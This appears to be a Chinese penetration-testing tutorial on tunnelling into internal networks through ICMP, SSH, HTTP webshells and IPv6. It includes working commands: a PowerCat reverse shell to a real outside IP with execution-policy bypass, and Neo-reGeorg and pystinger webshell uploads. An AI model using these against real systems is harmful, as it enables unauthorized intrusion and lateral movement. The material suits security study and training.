为什么要建立隧道呢?原因其实可以有很多。例如:自己的 Kali 虚拟机是在内网环境下,受害机和 Kali 往往不能直接建立连接。想要把自己带到内网环境,更好的进行内网渗透。不能直接访问到内网机器,需要与跳板机搭建隧道才能访问到…
常见隧道
- 网络层:IPV6 隧道、ICMP 隧道
- 传输层:TCP 隧道、UDP 隧道
- 应用层:SSH 隧道、HTTP(S) 隧道、DNS 隧道、socks 隧道
判断出网与否
在渗透过程中我们总是不可避免的到搭建网络隧道,好将自己的攻击机带到内网环境中,更方便的进行操作
首先当然要判断机子是否出网。
- ping。使用的是 TCP/IP 的一个子协议 ICMP 这个是很简单的命令,很容易想到,但是在 Webshell 中回显效果并不佳。
- nc。TCP 协议。虽然 Windows 中并没有这个命令,但是 Linux 中可以用 nc 来判断出网与否
- curl。这个命令非常好用。HTTP 协议
- nslookup 使用的是 TCP/IP
- dig 使用的是 UDP (Linux 中的命令,Windows 没有)
有的时候内网的机子不能直接出网,需要用内网中的代理服务器进行访问外网。我们可以查看内网中是否有类似 “proxy” 的机器。或者有相关的代理配置文件
可以类似用
curl -x proxy-ip:port www.baidu.com
进行测试。
ICMP 隧道
一般内网中不会过滤 ICMP 的流量,因为总是允许 ping 一下看看网络情况的。但是建立 ICMP 隧道的缺点就是流量会比较大
利用到 ICMP 隧道一般是发现 curl 不出网,但是 PING 出网的情况下(适用于目标机器是 Linux 服务器)。下面只介绍 ptunnel 这个工具。
这个工具在 Kali 中自带。我们可以将 Kali 这个自带的可执行文件传到目标机器上。这个工具的参数主要有
- -x 。设置密码。
- -p。流量中转的 IP 地址。一般为目标已被控制的 Linux 服务器。我们通过与目标的 Linux 服务器搭建隧道,从而访问内网其他的机子。
- -da。想要访问内网机子的 IP
- -dp。想要访问内网其他机子的端口号
- -lp。指定本地中转的端口号。进行转发流量。通过访问这个端口号也
在目标 Linux 服务器上面
sudo ./ptunnel
我们可以在自己的 VPS 上面
sudo ./ptunnel -p 目标Linux服务器 -lp 10800 -da 其他内网IP -dp 那个内网IP的端口
此时我们访问 vps 服务器 10800 端口号就是访问到了对应的内网 IP 的对应端口
防御 ICMP 隧道的方法:
- 检测同一来源的 ICMP 数据包数量
- 注意 Payload 大于 64 bit 的 ICMP 数据包
PowerCat
这个工具简直就是 powershell 版本的 nc。可以实现 Windows 主机之间的 shell 传递。也可以实现 Windows 和 Linux 之间的传递
将 powercat.ps1 文件导入
https://github.com/besimorhino/powercat.git
powershell Import-Module "C:\Users\18213\Desktop\pingtunnel-qt\powercat\powercat.ps1"
下面这条命令可以直接执行反弹 shell
powershell -exec bypass -Command "& {Import-Module .\powercat.ps1; powercat -c 175.178.80.75 -p 8080 -v -e cmd.exe}"
如果权限低的话可能无法导入。如果是高权限的话就可以输入
set-ExecutionPolicy RemoteSigned
Linux nc
nc -lp 8080
反弹 shell
powercat -c 175.178.80.75 -p 8080 -v -e cmd.exe
Windows 之间 PowerCat 生成正向 shell payload
powercat -l -p 8000 -e cmd -v -g >> shell.ps1
将这个 ps1 文件上传到对应的机子上执行
powershell .\shell.ps1
然后在本机上面
powercat -c 目标ip -p 8000 -v
就正向连接了一个 shell
这也就意味着可以实现目标机器上面没有 PowerCat 也依然可以获得 shell 的技术
PowerCat 的玩法还有很多。比如 DNS 和跳板机流量转发。
但是实际情况中想要在目标机器上面 Powershell 进行交互感觉比较困难,有点鸡肋
SSH
ssh 也是可以用来建隧道的。而且内网中几乎不会拦截 ssh 的流量。建立隧道的参数
- -C:压缩传输,提高传输速度
- -f:将 SSH 传输转入后台执行,不占用当前 shell
- -N:建立静默连接
- -g :允许远程主机连接本地用于转发的端口
-
-L:本地端口转发
-
-R: 远程端口转发
- -D:动态转发(SOCKS 代理)
- -P:指定 SSH 端口
本地转发:
注意到下面用了 -L 参数这个是用在跳板机能被外部的 VPS 访问到的情况下使用
在 vps 上执行
ssh -CfNg -L VPS端口:目标其他内网机器IP:目标其他机器端口 root@跳板机IP
当然啦,你肯定要控制了跳板机。提权获取了密码或者弄了 ssh 私钥
这个时候你访问 VPS:PORT 就相当于访问了其他内网机器IP的端口了
远程转发:
这个是用在跳板机不能被 VPS 访问到的情况下
ssh -CfNg -R VPS端口:目标其他内网机器IP:目标其他机器端口 root@跳板机IP
动态转发:
这个就是我们经常使用的 socks 代理了,他不用指定内网访问的 IP 和端口了
ssh -CfNg -D VPS端口 root@跳板机IP
想要避免 SSH 隧道攻击可以配置 SSH 白名单,只有特定的 IP 地址才能连接 SSH
RDP
此仓库提供了一种通过 RDP 连接,在本地机器上开启 socks 代理端口的方法。https://github.com/nccgroup/SocksOverRDP
HTTP/HTTPS
Neo-reGeorg
介绍一下著名的 Neo-reGeorg 代理工具吧。只需要将对应的 webshell 上传到目标网站,就可以使用 socks5 代理
第一步设置 tunnel.(php|asp….) 的密码并生成
python3 neoreg.py generate -k password
然后将 neoreg_servers 目录下的 webshell 上传
就可以用 neoreg.py 进行连接
python3 neoreg.py -k password -u http://xx/tunnel.php -p 10800
然后就可以在本机端口 10800 上面使用 socks5 代理了
pystinger
一款可以通过 webshell 实现 socks4 代理
到这里可以下载 https://github.com/FunnyWolf/pystinger 首先根据目标系统上传 stinger_server、以及 proxy.[php|jsp|asp]。然后在蚁剑上运行
start D:/XXX/stinger_server.exe
或 ./stinger_server
然后在攻击机上运行 ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
,你这样就可以使用 60000 端口进行 socks4 代理了
IPv6
6tunnel
这个工具可以实现端口转发
在 kali 上执行:
语法格式 6tunnel -4 [本机端口] [转发IP x:x:x:x] [转发端口]
示例 6tunnel -4 3000 192.168.244.1 3000
此时访问 kali 本机的 3000 端口即是访问 192.168.244.1 的 3000 端口
DNS
dns 协议也可以建立隧道。但是比较麻烦。DNS 通道传输能力非常有限,速率比较低,传输大量的字节需要很长时间。